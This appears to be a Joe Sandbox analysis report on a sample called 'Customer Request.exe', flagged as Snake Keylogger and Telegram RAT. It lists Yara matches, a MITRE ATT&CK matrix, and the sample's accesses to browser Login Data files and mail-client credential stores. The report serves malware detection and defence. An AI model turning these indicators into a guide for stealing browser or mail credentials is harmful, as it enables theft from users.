Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Users\user\Desktop\Customer Request.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Users\user\AppData\Roaming\gCFuOglEso.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Users\user\AppData\Roaming\gCFuOglEso.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Customer Request.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2710969497.0000000003198000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2704835617.0000000000AF7000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002AEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2745993906.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002CF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2717613443.000000000449A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2741223606.00000000062EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2710969497.000000000312F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002BDA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2746777636.0000000007445000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2741223606.00000000062C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002C59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2710969497.0000000003152000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2710969497.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2717700479.000000000411B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2741655848.0000000006798000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2717700479.0000000004540000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2717613443.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Customer Request.exe PID: 5944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Customer Request.exe PID: 5932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gCFuOglEso.exe PID: 4500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gCFuOglEso.exe PID: 7388, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Customer Request.exe PID: 5932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gCFuOglEso.exe PID: 7388, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Customer Request.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2710969497.000000000312F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Customer Request.exe PID: 5944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Customer Request.exe PID: 5932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gCFuOglEso.exe PID: 4500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gCFuOglEso.exe PID: 7388, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2710969497.0000000003198000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2704835617.0000000000AF7000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002AEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2745993906.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002CF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2717613443.000000000449A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2741223606.00000000062EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2710969497.000000000312F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002BDA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2746777636.0000000007445000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2741223606.00000000062C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002C59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2710969497.0000000003152000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2710969497.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2717700479.000000000411B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2741655848.0000000006798000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2717700479.0000000004540000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2717613443.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Customer Request.exe PID: 5944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Customer Request.exe PID: 5932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gCFuOglEso.exe PID: 4500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gCFuOglEso.exe PID: 7388, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Customer Request.exe PID: 5932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gCFuOglEso.exe PID: 7388, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Customer Request.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Customer Request.exe